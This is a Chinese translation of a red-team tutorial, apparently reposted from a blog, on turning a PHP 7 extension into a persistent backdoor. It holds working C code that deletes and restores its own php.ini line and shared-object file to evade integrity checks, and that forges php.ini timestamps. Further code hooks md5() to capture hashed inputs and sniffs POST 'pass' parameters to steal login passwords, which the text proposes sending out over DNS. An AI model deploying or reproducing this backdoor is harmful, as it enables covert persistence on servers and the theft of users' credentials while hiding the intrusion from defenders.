修改PHP扩展作为持久后门

写在前面的话

在我们作为红队的运营中，我们研究不同的持久后门方法，因为每种技术都有他的优缺点。选择通常基于不同情况，因此对于位于外围的服务器，PHP扩展是一个很棒的选择。我在Tarlogic的博客中做了关于这种旧技术的介绍性帖子。我建议你先阅读该帖子作为介绍，因为在这里我们不会讨论如何创建和编译扩展的基本主题。

本文的重点是：

1.如何减少tracks
2.连接PHP函数并从Red Team中提取有用信息
3.拦截GET / POST参数PS：示例在PHP 7环境中进行测试（PHP 5和PHP 7 API内部之间有变化）

0×00 简介

1.如果在PHP中添加PHP扩展，PHP解释器将在启动时加载PHP.ini文件 （extension = path / to / our / extension）

2.在PHP扩展中，我们主要关注4个hooks： MINIT ＆ MSHUTDOWN ，以及 RINIT 和 RSHUTDOWN 。当解释器启动和停止时，M 以root身份执行（通常）。R 在作为服务器用户执行。

3.我们可以从请求中读取HTTP头并触发任何操作（例如，执行命令或启动反向shell）。为了保持对受感染服务器的访问，PHP扩展是一个非常好的选择。我们可以使用合法的HTTP请求与这种后门进行交互（如推荐文章中所示），因为防火墙和网络规则无法检测到我们。但是想要加载我们的扩展，我们就需要修改php.ini文件重新加载配置。如果未恢复php.ini，那么其大小，哈希和时间戳将不同，操作将公开，蓝队获胜，我们输了。当然，php.ini修改应该会被文件完整性检查器立即检测到，但实际上SOCs往往忽略这种警报

0×01 php.ini未被修改

我们知道当我们修改了php.ini时会生成一个警报。可是如果当有人SSH连接到服务器，对php.ini进行cat操作，我什么也看不见。进行ls操作，时间戳也是好的。重新启动服务器只是为了再次检查没有发生任何奇怪的事情。我们的后门还活着。这是为什么?

当加载我们的PHP扩展时，我们不需要在php.ini文件中保留 “extesion = path/to/our.so” 这一行。我们可以程序化地将其恢复到原始状态。利用 MINIT hook ，我们可以删除添加到php.ini的行，所以当加载扩展时，这个hook将以root（通常）触发，我们可以编辑php.ini文件而不会出现问题。同样，我们可以使用 MSHUTDOWN 插入一段代码，用于再次将行添加到php.ini中，因此当服务器重新启动时，将再次添加 “extension = ...” 行。当加载扩展时，将执行MINIT并关闭 cicle 。使用这种方法，php.ini文件在大部分时间内都不会显示任何奇怪的内容。泛型函数可以表示如下：

 / This code sucks
int modifyExtension(int action) {
    char source = NULL;
    char needle = NULL;
    FILE fp;
    size_t newSize;
    fp = fopen(PHPINI, "a+");
    if (fp != NULL) {
        if (action == 1) {
            if (fseek(fp, 0L, SEEK_END) == 0) {
                long bufsize = ftell(fp); // FileSize
                if (bufsize == -1) {
                    return -1;
                }
                source = malloc(sizeof(char )  (bufsize + 1)); // Alloc memory to read php.ini
                if (fseek(fp, 0L, SEEK_SET) != 0) {
                    return -1;
                    free(source);
                }
                newSize = fread(source, sizeof(char), bufsize, fp);
                if (ferror(fp) != 0) {
                    return -1;
                    free(source);
                }           
                else {
                    source[newSize++] = '\0';
                    needle = strstr(source, LOCATION);
                    if (needle != 0) {
                        FILE tmp = fopen("/tmp/.tmpini", "w");
                        fwrite(source, (needle - source - 11), 1, tmp); //11 = len("\nextension=kk.so")
                        fclose(tmp);
                        rename("/tmp/.tmpini", PHPINI);
                    }
                }
                free(source);
            }
            fclose(fp);
        }
        if (action == 0) {
            fwrite("\nextension=", 11, 1, fp);
            fwrite(LOCATION, strlen(LOCATION), 1, fp);
            fclose(fp);
            fprintf(stderr, "[+] Extension added to PHP.INI\n");
        }
    }
    else {
        return -1;
    }
    return 1;
}

这种策略的对应部分是，如果服务器以意外方式被kill，则不会执行`MSHUTDOWN hook`。另一方面，时间戳将被修改，因此我们也需要牢记这一点：

#define PHPINI "/u/know/that/php.ini"
...
struct stat st;
stat(PHPINI, &st);
...// Do changes
new_time.actime = st.st_atime;
new_time.modtime = st.st_mtime;
utime(PHPINI, &new_time);

0×02 第二步

我们介绍了如何恢复php.ini，但是如果我们需要删除和恢复后门本身（共享对象），由于我们正在以用户级别工作（如果我们使用rootkit – 例如一个简单的LKM-我们可以隐藏它）。在加载扩展程序时，我们可以轻松地将其内容保存在内存中，然后删除该文件。就像是：

//Simple PoC
PHP_MINIT_FUNCTION(PoC)
{
    //Executed when the module is loaded
    // Privilege: root (usually)
    int fd, check;
    struct utimbuf new_time;
    fprintf(stderr, "[+] LOADED\n");
    //1) Calculate size of the file
    struct stat st;
    if (stat(LOCATION, &st) == -1) {
        return SUCCESS;
    }
    filesize = st.st_size;
    //2) Open the file 
    fd = open(LOCATION, O_RDONLY, 0);
    if (fd == -1) {
        return SUCCESS;
    }
    //3) Map file to memory
    mapedFile = mmap(NULL, filesize, PROT_READ, MAP_PRIVATE, fd, 0);
    close(fd);
    
    //4) Delete file
    remove(LOCATION);
    
    //5) Get timestamp
    stat(PHPINI, &st);
    //6) Modify php.ini and delete the extension line
    check = modifyExtension(1);
    if (check == -1) {
        fprintf(stderr, "[+] PHP.INI could not be edited\n");
    }
    else {
        fprintf(stderr, "[+] PHP.INI edited\n");
    }
    //7) Fake timestamp
    new_time.actime = st.st_atime;
    new_time.modtime = st.st_mtime;
    utime(PHPINI, &new_time);
...

下一步是使用MSHUTDOWN hook将共享对象从内存写入文件：

PHP_MSHUTDOWN_FUNCTION(Allocer)
{
    // We write the file again, edit php.ini and fake the timestamp
    if (mapedFile == MAP_FAILED) {
        return SUCCESS;
    }
    
    int check;
    FILE *fp;
    struct utimbuf new_time;
    struct stat st;
    fp = fopen(LOCATION, "w");
    fwrite(mapedFile, 1, filesize, fp);
    fclose(fp);
    munmap(mapedFile, filesize);
    stat(PHPINI, &st);
    new_time.actime = st.st_atime;
    new_time.modtime = st.st_mtime;    
    
    check = modifyExtension(0);
    utime(PHPINI, &new_time);
    return SUCCESS;
}

0×03 第三步

我们现在知道如何留下最小的tracks，并在Tarlogic博客的帖子中解释了如何与我们的后门进行通信并通过HTTP标头触发操作，所以让我们开始更有趣的事情，比如hooking。作为ReadTeamers，我们渴望获得进行横向运动的凭据。如果我们可以在常见的函数中放置一个hook（比如那些用于哈希密码或用于在数据库中插入新用户的函数），我们可以通过DNS解析索引的关键信息（如本文)。作为一个简单的PoC，我们将挂钩PHP函数md5（）。让我们潜入PHP内部深处！函数符号表作为HashTable存储在结构 zend_compiler er_globals 中:

struct _zend_compiler_globals {
    zend_stack loop_var_stack;
    zend_class_entry active_class_entry;
    zend_string compiled_filename;
    int zend_lineno;
    zend_op_array active_op_array;
    HashTable function_table;  / function symbol table /
...

我我们可以通过CG(编译器全局)宏访问`function_table`成员,并搜索函数的地址.由于它是一个HashTable，我们可以使用 zend_hash_str_find_ptr 来搜索密钥“md5”。最后，我们只需要修改处理程序（指向函数的地址），使其指向我们的hook。像这样：

//Placed at MINIT
    ...
    zend_function *orig;
    orig = zend_hash_str_find_ptr(CG(function_table), "md5", strlen("md5"));
    orig->internal_function.handler = zif_md5_hook;
    ...

检查原始的md5功能代码：

PHP_NAMED_FUNCTION(php_if_md5)
{
    zend_string *arg;
    zend_bool raw_output = 0;
    PHP_MD5_CTX context;
    unsigned char digest[16];
    ZEND_PARSE_PARAMETERS_START(1, 2)
        Z_PARAM_STR(arg)
        Z_PARAM_OPTIONAL
        Z_PARAM_BOOL(raw_output)
ZEND_PARSE_PARAMETERS_END();
...

要首先创建我们的hook，我们需要使用正确的数据类型和args来定义它。在官方文档中显示`PHP_NAMED_FUNCTION`（无论如何）扩展为`void zif_whatever(INTERNAL_FUNCTION_PARAMETERS)`。所以我们的hook必须像这样创建：

// Test Hook md5
void zif_md5_hook(INTERNAL_FUNCTION_PARAMETERS) {
    php_printf("[+] Hook called\n");
    zend_string *arg;
    zend_bool raw_output = 0;
    ZEND_PARSE_PARAMETERS_START(1, 2)
        Z_PARAM_STR(arg)
        Z_PARAM_OPTIONAL
        Z_PARAM_BOOL(raw_output)
    ZEND_PARSE_PARAMETERS_END();
    php_printf("[+] MD5 Called with parameter: %s", ZSTR_VAL(arg));
}

编译并执行：

mothra@arcadia:~/php-7.2.8/ext/Allocer| 
⇒  sudo /usr/local/bin/php  -r "echo md5('kk');"
[+] LOADED
[+] PHP.INI edited
[+] Hook called
[+] MD5 Called with parameter: kk%

0×04嗅探参数

连接juicy函数是获取信息的一种很好的方式，但如果我们知道通过POST或GET发送的参数（例如登录表单）存在，那么捕获这些值要好得多。我们将把代码放在`RINIT hook`中，因为每次处理请求时都会执行它。为了检索信息，我们需要在php_variables.c上检查PHP引擎的工作方式：

...
zval_ptr_dtor_nogc(&PG(http_globals)[TRACK_VARS_POST]);
ZVAL_COPY_VALUE(&PG(http_globals)[TRACK_VARS_POST], &array);
...

因此变量被视为来自`http_globals`的数组。搜索特定值的最简单方法（例如我们希望对登录表单中发送的`“pass”`参数进行说明）是从数组中获取HashTable，然后使用API进行搜索，就像我们之前搜索的那样md5功能。我们这样做的魔法函数是HASH_OF：

    zval password;
    zval post_arr;
    HashTable *post_hash;
    post_arr = &PG(http_globals)[TRACK_VARS_POST]; //Array
    post_hash = HASH_OF(post_arr);
    password = zend_hash_str_find(post_hash, "pass", strlen("pass"));
    if (password != 0) {
        php_printf("Password: %s", Z_STRVAL_P(password));
    }

如果我们测试它：

mothra@arcadia:~/php-7.2.8/ext/Allocer| 
⇒  curl localhost:8888/k.php --data "pass=s0S3cur3"
Password: s0S3cur3

现在，这个密码可以保存在文件中，或者只是通过DNS发送给我们所拥有的DNS服务器。

0×05 最后的话

PHP扩展是一种强大的方法，可以持久的保存在目标中，当然，这也是开始使用PHP内部的最佳借口。如果你发现这篇文章有用，或者指出我的错误，请通过twitter@TheXC3LL与我联系。

*参考来源： github ，由周大涛编译，转载请注明来自FreeBuf.COM

写在前面的话

0×00 简介

0×01 php.ini未被修改

0×02 第二步

0×03 第三步

0×04嗅探参数

0×05 最后的话

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